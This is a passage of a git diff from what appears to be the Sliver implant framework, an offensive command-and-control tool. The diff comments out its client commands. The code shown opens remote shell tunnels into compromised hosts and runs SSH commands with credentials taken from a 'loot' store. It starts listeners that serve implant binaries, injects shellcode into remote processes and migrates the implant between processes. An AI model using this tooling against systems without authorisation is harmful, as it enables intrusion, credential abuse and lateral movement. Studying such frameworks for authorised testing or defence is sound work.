+// "strings"
+// "text/tabwriter"
- "github.com/AlecAivazis/survey/v2"
- "github.com/bishopfox/sliver/client/core"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "github.com/AlecAivazis/survey/v2"
+// "github.com/bishopfox/sliver/client/core"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
- "github.com/desertbit/grumble"
- "golang.org/x/crypto/ssh/terminal"
-)
+// "github.com/desertbit/grumble"
+// "golang.org/x/crypto/ssh/terminal"
+// )
-const (
- windows = "windows"
- darwin = "darwin"
- linux = "linux"
-)
+// const (
+// windows = "windows"
+// darwin = "darwin"
+// linux = "linux"
+// )
-func shell(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
+// func shell(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
- if !isUserAnAdult() {
- return
- }
+// if !IsUserAnAdult() {
+// return
+// }
- shellPath := ctx.Flags.String("shell-path")
- noPty := ctx.Flags.Bool("no-pty")
- if ActiveSession.Get().OS != linux && ActiveSession.Get().OS != darwin {
- noPty = true // Sliver's PTYs are only supported on linux/darwin
- }
- runInteractive(ctx, shellPath, noPty, rpc)
- fmt.Println("Shell exited")
-}
+// shellPath := ctx.Flags.String("shell-path")
+// noPty := ctx.Flags.Bool("no-pty")
+// if ActiveSession.Get().OS != linux && ActiveSession.Get().OS != darwin {
+// noPty = true // Sliver's PTYs are only supported on linux/darwin
+// }
+// runInteractive(ctx, shellPath, noPty, rpc)
+// fmt.Println("Shell exited")
+// }
-func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, rpc rpcpb.SliverRPCClient) {
- fmt.Printf(Info + "Opening shell tunnel (EOF to exit) ...\n\n")
- session := ActiveSession.Get()
- if session == nil {
- return
- }
+// func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, rpc rpcpb.SliverRPCClient) {
+// fmt.Printf(Info + "Opening shell tunnel (EOF to exit) ...\n\n")
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
- // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
- rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
- SessionID: session.ID,
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
+// // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
+// rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+// SessionID: session.ID,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
- // Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
- tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
+// // Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
+// tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
- shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{
- Request: ActiveSession.Request(ctx),
- Path: shellPath,
- EnablePTY: !noPty,
- TunnelID: tunnel.ID,
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
- fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid)
+// shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{
+// Request: ActiveSession.Request(ctx),
+// Path: shellPath,
+// EnablePTY: !noPty,
+// TunnelID: tunnel.ID,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
+// fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid)
- var oldState *terminal.State
- if !noPty {
- oldState, err = terminal.MakeRaw(0)
- log.Printf("Saving terminal state: %v", oldState)
- if err != nil {
- fmt.Printf(Warn + "Failed to save terminal state")
- return
- }
- }
+// var oldState *terminal.State
+// if !noPty {
+// oldState, err = terminal.MakeRaw(0)
+// log.Printf("Saving terminal state: %v", oldState)
+// if err != nil {
+// fmt.Printf(Warn + "Failed to save terminal state")
+// return
+// }
+// }
- log.Printf("Starting stdin/stdout shell ...")
- go func() {
- n, err := io.Copy(os.Stdout, tunnel)
- log.Printf("Wrote %d bytes to stdout", n)
- if err != nil {
- fmt.Printf(Warn+"Error writing to stdout: %v", err)
- return
- }
- }()
- log.Printf("Reading from stdin ...")
- n, err := io.Copy(tunnel, os.Stdin)
- log.Printf("Read %d bytes from stdin", n)
- if err != nil && err != io.EOF {
- fmt.Printf(Warn+"Error reading from stdin: %v\n", err)
- }
+// log.Printf("Starting stdin/stdout shell ...")
+// go func() {
+// n, err := io.Copy(os.Stdout, tunnel)
+// log.Printf("Wrote %d bytes to stdout", n)
+// if err != nil {
+// fmt.Printf(Warn+"Error writing to stdout: %v", err)
+// return
+// }
+// }()
+// log.Printf("Reading from stdin ...")
+// n, err := io.Copy(tunnel, os.Stdin)
+// log.Printf("Read %d bytes from stdin", n)
+// if err != nil && err != io.EOF {
+// fmt.Printf(Warn+"Error reading from stdin: %v\n", err)
+// }
- if !noPty {
- log.Printf("Restoring terminal state ...")
- terminal.Restore(0, oldState)
- }
+// if !noPty {
+// log.Printf("Restoring terminal state ...")
+// terminal.Restore(0, oldState)
+// }
- log.Printf("Exit interactive")
- bufio.NewWriter(os.Stdout).Flush()
-}
+// log.Printf("Exit interactive")
+// bufio.NewWriter(os.Stdout).Flush()
+// }
-func runSSHCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- var (
- privKey []byte
- err error
- )
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
+// func runSSHCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// var (
+// privKey []byte
+// err error
+// )
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
- username := ctx.Flags.String("login")
- if username == "" {
- username = session.GetUsername()
- }
+// username := ctx.Flags.String("login")
+// if username == "" {
+// username = session.GetUsername()
+// }
- port := ctx.Flags.Uint("port")
- privateKeypath := ctx.Flags.String("private-key")
- if privateKeypath != "" {
- privKey, err = ioutil.ReadFile(privateKeypath)
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err.Error())
- return
- }
- }
- password := ctx.Flags.String("password")
+// port := ctx.Flags.Uint("port")
+// privateKeypath := ctx.Flags.String("private-key")
+// if privateKeypath != "" {
+// privKey, err = ioutil.ReadFile(privateKeypath)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err.Error())
+// return
+// }
+// }
+// password := ctx.Flags.String("password")
- hostname := ctx.Args.String("hostname")
- command := ctx.Args.StringList("command")
+// hostname := ctx.Args.String("hostname")
+// command := ctx.Args.StringList("command")
- if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
- oldUsername := username
- username, password, privKey = tryCredsFromLoot(rpc)
- if username == "" {
- username = oldUsername
- }
- }
+// if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
+// oldUsername := username
+// username, password, privKey = tryCredsFromLoot(rpc)
+// if username == "" {
+// username = oldUsername
+// }
+// }
- commandResp, err := rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
- Username: username,
- Hostname: hostname,
- Port: uint32(port),
- PrivKey: privKey,
- Password: password,
- Command: strings.Join(command, " "),
- Request: ActiveSession.Request(ctx),
- })
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err.Error())
- return
- }
+// commandResp, err := rpc.RunSSHCommand(context.Background(), &sliverpb.SSHCommandReq{
+// Username: username,
+// Hostname: hostname,
+// Port: uint32(port),
+// PrivKey: privKey,
+// Password: password,
+// Command: strings.Join(command, " "),
+// Request: ActiveSession.Request(ctx),
+// })
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err.Error())
+// return
+// }
- if commandResp.Response != nil && commandResp.Response.Err != "" {
- fmt.Printf(Warn+"Error: %s\n", commandResp.Response.Err)
- if commandResp.StdErr != "" {
- fmt.Printf(Warn+"StdErr: %s\n", commandResp.StdErr)
- }
- return
- }
- if commandResp.StdOut != "" {
- fmt.Println(Info + "Output:")
- fmt.Println(commandResp.StdOut)
- if commandResp.StdErr != "" {
- fmt.Println(Info + "StdErr")
- fmt.Println(commandResp.StdErr)
- }
- }
-}
+// if commandResp.Response != nil && commandResp.Response.Err != "" {
+// fmt.Printf(Warn+"Error: %s\n", commandResp.Response.Err)
+// if commandResp.StdErr != "" {
+// fmt.Printf(Warn+"StdErr: %s\n", commandResp.StdErr)
+// }
+// return
+// }
+// if commandResp.StdOut != "" {
+// fmt.Println(Info + "Output:")
+// fmt.Println(commandResp.StdOut)
+// if commandResp.StdErr != "" {
+// fmt.Println(Info + "StdErr")
+// fmt.Println(commandResp.StdErr)
+// }
+// }
+// }
-func tryCredsFromLoot(rpc rpcpb.SliverRPCClient) (string, string, []byte) {
- var (
- username string
- password string
- privKey []byte
- )
- confirm := false
- prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
- survey.AskOne(prompt, &confirm, nil)
- if confirm {
- loot, err := selectCredentials(rpc)
- if err != nil {
- fmt.Printf(Warn + "invalid loot data, will try to use the SSH agent")
- } else {
- switch loot.CredentialType {
- case clientpb.CredentialType_API_KEY:
- privKey = []byte(loot.Credential.APIKey)
- case clientpb.CredentialType_USER_PASSWORD:
- username = loot.Credential.User
- password = loot.Credential.Password
- }
- }
- }
- return username, password, privKey
-}
+// func tryCredsFromLoot(rpc rpcpb.SliverRPCClient) (string, string, []byte) {
+// var (
+// username string
+// password string
+// privKey []byte
+// )
+// confirm := false
+// prompt := &survey.Confirm{Message: "No credentials provided, use from loot?"}
+// survey.AskOne(prompt, &confirm, nil)
+// if confirm {
+// loot, err := selectCredentials(rpc)
+// if err != nil {
+// fmt.Printf(Warn + "invalid loot data, will try to use the SSH agent")
+// } else {
+// switch loot.CredentialType {
+// case clientpb.CredentialType_API_KEY:
+// privKey = []byte(loot.Credential.APIKey)
+// case clientpb.CredentialType_USER_PASSWORD:
+// username = loot.Credential.User
+// password = loot.Credential.Password
+// }
+// }
+// }
+// return username, password, privKey
+// }
-func selectCredentials(rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
- allLoot, err := rpc.LootAllOf(context.Background(), &clientpb.Loot{
- Type: clientpb.LootType_LOOT_CREDENTIAL,
- })
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- }
+// func selectCredentials(rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
+// allLoot, err := rpc.LootAllOf(context.Background(), &clientpb.Loot{
+// Type: clientpb.LootType_LOOT_CREDENTIAL,
+// })
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// }
- // Render selection table
- buf := bytes.NewBufferString("")
- table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
- for _, loot := range allLoot.Loot {
- fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID)
- }
- table.Flush()
- options := strings.Split(buf.String(), "\n")
- options = options[:len(options)-1]
- if len(options) == 0 {
- return nil, errors.New("no loot to select from")
- }
+// // Render selection table
+// buf := bytes.NewBufferString("")
+// table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
+// for _, loot := range allLoot.Loot {
+// fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID)
+// }
+// table.Flush()
+// options := strings.Split(buf.String(), "\n")
+// options = options[:len(options)-1]
+// if len(options) == 0 {
+// return nil, errors.New("no loot to select from")
+// }
- selected := ""
- prompt := &survey.Select{
- Message: "Select a piece of credentials:",
- Options: options,
- }
- err = survey.AskOne(prompt, &selected)
- if err != nil {
- return nil, err
- }
- for index, value := range options {
- if value == selected {
- return allLoot.Loot[index], nil
- }
- }
- return nil, errors.New("loot not found")
-}
+// selected := ""
+// prompt := &survey.Select{
+// Message: "Select a piece of credentials:",
+// Options: options,
+// }
+// err = survey.AskOne(prompt, &selected)
+// if err != nil {
+// return nil, err
+// }
+// for index, value := range options {
+// if value == selected {
+// return allLoot.Loot[index], nil
+// }
+// }
+// return nil, errors.New("loot not found")
+// }
diff --git a/client/command/stager.go b/client/command/stager.go
index 6dab895efc..88512e1af0 100644
--- a/client/command/stager.go
+++ b/client/command/stager.go
@@ -1,181 +1,181 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "context"
- "fmt"
- "net/url"
- "path/filepath"
- "strconv"
- "strings"
-
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/desertbit/grumble"
-)
-
-// stage-listener --url [tcp://ip:port | http://ip:port ] --profile name
-func stageListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- profileName := ctx.Flags.String("profile")
- listenerURL := ctx.Flags.String("url")
-
- if profileName == "" || listenerURL == "" {
- fmt.Println(Warn + "missing required flags, see `help stage-listener` for more info")
- return
- }
-
- // parse listener url
- stagingURL, err := url.Parse(listenerURL)
- if err != nil {
- fmt.Printf(Warn + "listener-url format not supported")
- return
- }
- stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32)
- if err != nil {
- fmt.Printf(Warn+"error parsing staging port: %v\n", err)
- return
- }
-
- profile := getImplantProfileByName(rpc, profileName)
- if profile != nil {
-
- }
- stage2, err := getSliverBinary(profile, rpc)
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
-
- switch stagingURL.Scheme {
- case "http":
- ctrl := make(chan bool)
- go spin.Until("Starting HTTP staging listener...", ctrl)
- stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
- Protocol: clientpb.StageProtocol_HTTP,
- Data: stage2,
- Host: stagingURL.Hostname(),
- Port: uint32(stagingPort),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error starting HTTP staging listener: %v\n", err)
- return
- }
- fmt.Printf(Info+"Job %d (http) started\n", stageListener.GetJobID())
- case "https":
- cert, key, err := getLocalCertificatePair(ctx)
- if err != nil {
- fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
- return
- }
- ctrl := make(chan bool)
- go spin.Until("Starting HTTPS staging listener...", ctrl)
- stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
- Protocol: clientpb.StageProtocol_HTTPS,
- Data: stage2,
- Host: stagingURL.Hostname(),
- Port: uint32(stagingPort),
- Cert: cert,
- Key: key,
- ACME: ctx.Flags.Bool("lets-encrypt"),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error starting HTTPS staging listener: %v\n", err)
- return
- }
- fmt.Printf(Info+"Job %d (https) started\n", stageListener.GetJobID())
- case "tcp":
- ctrl := make(chan bool)
- go spin.Until("Starting TCP staging listener...", ctrl)
- stageListener, err := rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
- Protocol: clientpb.StageProtocol_TCP,
- Data: stage2,
- Host: stagingURL.Hostname(),
- Port: uint32(stagingPort),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error starting TCP staging listener: %v\n", err)
- return
- }
- fmt.Printf(Info+"Job %d (tcp) started\n", stageListener.GetJobID())
-
- default:
- fmt.Printf(Warn+"Unsupported staging protocol: %s\n", stagingURL.Scheme)
- return
- }
-}
-
-func getSliverBinary(profile *clientpb.ImplantProfile, rpc rpcpb.SliverRPCClient) ([]byte, error) {
- var data []byte
- // get implant builds
- builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
- if err != nil {
- return data, err
- }
-
- implantName := buildImplantName(profile.GetConfig().GetName())
- _, ok := builds.GetConfigs()[implantName]
- if implantName == "" || !ok {
- // no built implant found for profile, generate a new one
- fmt.Printf(Info+"No builds found for profile %s, generating a new one\n", profile.GetName())
- ctrl := make(chan bool)
- go spin.Until("Compiling, please wait ...", ctrl)
-
- generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
- Config: profile.Config,
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Println("Error generating implant")
- return data, err
- }
- data = generated.GetFile().GetData()
- profile.Config.Name = buildImplantName(generated.GetFile().GetName())
- _, err = rpc.SaveImplantProfile(context.Background(), profile)
- if err != nil {
- fmt.Println("Error updating implant profile")
- return data, err
- }
- } else {
- // Found a build, reuse that one
- fmt.Printf(Info+"Sliver name for profile: %s\n", implantName)
- regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
- ImplantName: profile.GetConfig().GetName(),
- })
-
- if err != nil {
- return data, err
- }
- data = regenerate.GetFile().GetData()
- }
- return data, err
-}
-
-func buildImplantName(name string) string {
- return strings.TrimSuffix(name, filepath.Ext(name))
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "context"
+// "fmt"
+// "net/url"
+// "path/filepath"
+// "strconv"
+// "strings"
+
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/desertbit/grumble"
+// )
+
+// // stage-listener --url [tcp://ip:port | http://ip:port ] --profile name
+// func stageListener(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// profileName := ctx.Flags.String("profile")
+// listenerURL := ctx.Flags.String("url")
+
+// if profileName == "" || listenerURL == "" {
+// fmt.Println(Warn + "missing required flags, see `help stage-listener` for more info")
+// return
+// }
+
+// // parse listener url
+// stagingURL, err := url.Parse(listenerURL)
+// if err != nil {
+// fmt.Printf(Warn + "listener-url format not supported")
+// return
+// }
+// stagingPort, err := strconv.ParseUint(stagingURL.Port(), 10, 32)
+// if err != nil {
+// fmt.Printf(Warn+"error parsing staging port: %v\n", err)
+// return
+// }
+
+// profile := getImplantProfileByName(rpc, profileName)
+// if profile != nil {
+
+// }
+// stage2, err := getSliverBinary(profile, rpc)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+
+// switch stagingURL.Scheme {
+// case "http":
+// ctrl := make(chan bool)
+// go spin.Until("Starting HTTP staging listener...", ctrl)
+// stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
+// Protocol: clientpb.StageProtocol_HTTP,
+// Data: stage2,
+// Host: stagingURL.Hostname(),
+// Port: uint32(stagingPort),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error starting HTTP staging listener: %v\n", err)
+// return
+// }
+// fmt.Printf(Info+"Job %d (http) started\n", stageListener.GetJobID())
+// case "https":
+// cert, key, err := getLocalCertificatePair(ctx)
+// if err != nil {
+// fmt.Printf("\n"+Warn+"Failed to load local certificate %v", err)
+// return
+// }
+// ctrl := make(chan bool)
+// go spin.Until("Starting HTTPS staging listener...", ctrl)
+// stageListener, err := rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
+// Protocol: clientpb.StageProtocol_HTTPS,
+// Data: stage2,
+// Host: stagingURL.Hostname(),
+// Port: uint32(stagingPort),
+// Cert: cert,
+// Key: key,
+// ACME: ctx.Flags.Bool("lets-encrypt"),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error starting HTTPS staging listener: %v\n", err)
+// return
+// }
+// fmt.Printf(Info+"Job %d (https) started\n", stageListener.GetJobID())
+// case "tcp":
+// ctrl := make(chan bool)
+// go spin.Until("Starting TCP staging listener...", ctrl)
+// stageListener, err := rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
+// Protocol: clientpb.StageProtocol_TCP,
+// Data: stage2,
+// Host: stagingURL.Hostname(),
+// Port: uint32(stagingPort),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error starting TCP staging listener: %v\n", err)
+// return
+// }
+// fmt.Printf(Info+"Job %d (tcp) started\n", stageListener.GetJobID())
+
+// default:
+// fmt.Printf(Warn+"Unsupported staging protocol: %s\n", stagingURL.Scheme)
+// return
+// }
+// }
+
+// func getSliverBinary(profile *clientpb.ImplantProfile, rpc rpcpb.SliverRPCClient) ([]byte, error) {
+// var data []byte
+// // get implant builds
+// builds, err := rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// return data, err
+// }
+
+// implantName := buildImplantName(profile.GetConfig().GetName())
+// _, ok := builds.GetConfigs()[implantName]
+// if implantName == "" || !ok {
+// // no built implant found for profile, generate a new one
+// fmt.Printf(Info+"No builds found for profile %s, generating a new one\n", profile.GetName())
+// ctrl := make(chan bool)
+// go spin.Until("Compiling, please wait ...", ctrl)
+
+// generated, err := rpc.Generate(context.Background(), &clientpb.GenerateReq{
+// Config: profile.Config,
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Println("Error generating implant")
+// return data, err
+// }
+// data = generated.GetFile().GetData()
+// profile.Config.Name = buildImplantName(generated.GetFile().GetName())
+// _, err = rpc.SaveImplantProfile(context.Background(), profile)
+// if err != nil {
+// fmt.Println("Error updating implant profile")
+// return data, err
+// }
+// } else {
+// // Found a build, reuse that one
+// fmt.Printf(Info+"Sliver name for profile: %s\n", implantName)
+// regenerate, err := rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
+// ImplantName: profile.GetConfig().GetName(),
+// })
+
+// if err != nil {
+// return data, err
+// }
+// data = regenerate.GetFile().GetData()
+// }
+// return data, err
+// }
+
+// func buildImplantName(name string) string {
+// return strings.TrimSuffix(name, filepath.Ext(name))
+// }
diff --git a/client/command/tasks.go b/client/command/tasks.go
index 39881c4b43..83da9685e3 100644
--- a/client/command/tasks.go
+++ b/client/command/tasks.go
@@ -1,414 +1,414 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
-
-import (
- "bufio"
- "context"
- "fmt"
- "io"
- "io/ioutil"
- "log"
- "os"
- "path"
- "path/filepath"
- "strings"
-
- "github.com/bishopfox/sliver/client/core"
- "github.com/bishopfox/sliver/client/spin"
- "github.com/bishopfox/sliver/protobuf/clientpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/protobuf/sliverpb"
- "golang.org/x/crypto/ssh/terminal"
-
- "github.com/desertbit/grumble"
-)
-
-func executeShellcode(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.GetInteractive()
- if session == nil {
- return
- }
-
- interactive := ctx.Flags.Bool("interactive")
- pid := ctx.Flags.Uint("pid")
- shellcodePath := ctx.Args.String("filepath")
- shellcodeBin, err := ioutil.ReadFile(shellcodePath)
- if err != nil {
- fmt.Printf(Warn+"Error: %s\n", err.Error())
- return
- }
- if pid != 0 && interactive {
- fmt.Printf(Warn + "Cannot use both `--pid` and `--interactive`\n")
- return
- }
- if interactive {
- executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), rpc)
- return
- }
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
- go spin.Until(msg, ctrl)
- task, err := rpc.Task(context.Background(), &sliverpb.TaskReq{
- Data: shellcodeBin,
- RWXPages: ctx.Flags.Bool("rwx-pages"),
- Pid: uint32(pid),
- Request: ActiveSession.Request(ctx),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
- if task.Response.GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", task.Response.GetErr())
- return
- }
- fmt.Printf(Info + "Executed shellcode on target\n")
-}
-
-func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, rpc rpcpb.SliverRPCClient) {
- // Check active session
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- // Start remote process and tunnel
- noPty := false
- if session.GetOS() == "windows" {
- noPty = true // Windows of course doesn't have PTYs
- }
-
- rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
- SessionID: session.ID,
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
-
- tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
-
- shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{
- Request: ActiveSession.Request(ctx),
- Path: hostProc,
- EnablePTY: !noPty,
- TunnelID: tunnel.ID,
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v\n", err)
- return
- }
- // Retrieve PID and start remote task
- pid := shell.GetPid()
-
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
- go spin.Until(msg, ctrl)
- _, err = rpc.Task(context.Background(), &sliverpb.TaskReq{
- Request: ActiveSession.Request(ctx),
- Pid: pid,
- Data: shellcode,
- RWXPages: rwxPages,
- })
- ctrl <- true
- <-ctrl
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
- fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid)
-
- var oldState *terminal.State
- if !noPty {
- oldState, err = terminal.MakeRaw(0)
- log.Printf("Saving terminal state: %v", oldState)
- if err != nil {
- fmt.Printf(Warn + "Failed to save terminal state")
- return
- }
- }
-
- log.Printf("Starting stdin/stdout shell ...")
- go func() {
- n, err := io.Copy(os.Stdout, tunnel)
- log.Printf("Wrote %d bytes to stdout", n)
- if err != nil {
- fmt.Printf(Warn+"Error writing to stdout: %v", err)
- return
- }
- }()
- for {
- log.Printf("Reading from stdin ...")
- n, err := io.Copy(tunnel, os.Stdin)
- log.Printf("Read %d bytes from stdin", n)
- if err == io.EOF {
- break
- }
- if err != nil {
- fmt.Printf(Warn+"Error reading from stdin: %v", err)
- break
- }
- }
-
- if !noPty {
- log.Printf("Restoring terminal state ...")
- terminal.Restore(0, oldState)
- }
-
- log.Printf("Exit interactive")
- bufio.NewWriter(os.Stdout).Flush()
-
-}
-
-func migrate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- pid := ctx.Args.Uint("pid")
- config := getActiveSliverConfig()
- ctrl := make(chan bool)
- msg := fmt.Sprintf("Migrating into %d ...", pid)
- go spin.Until(msg, ctrl)
- migrate, err := rpc.Migrate(context.Background(), &clientpb.MigrateReq{
- Pid: uint32(pid),
- Config: config,
- Request: ActiveSession.Request(ctx),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- if !migrate.Success {
- fmt.Printf(Warn+"%s\n", migrate.GetResponse().GetErr())
- return
- }
- fmt.Printf("\n"+Info+"Successfully migrated to %d\n", pid)
-}
-
-func executeAssembly(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- filePath := ctx.Args.String("filepath")
- isDLL := false
- if filepath.Ext(filePath) == ".dll" {
- isDLL = true
- }
- if isDLL {
- if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
- fmt.Printf(Warn + "Please provide a class name (namespace.class) and method\n")
- return
- }
- }
- assemblyBytes, err := ioutil.ReadFile(filePath)
- if err != nil {
- fmt.Printf(Warn+"%s", err.Error())
- return
- }
-
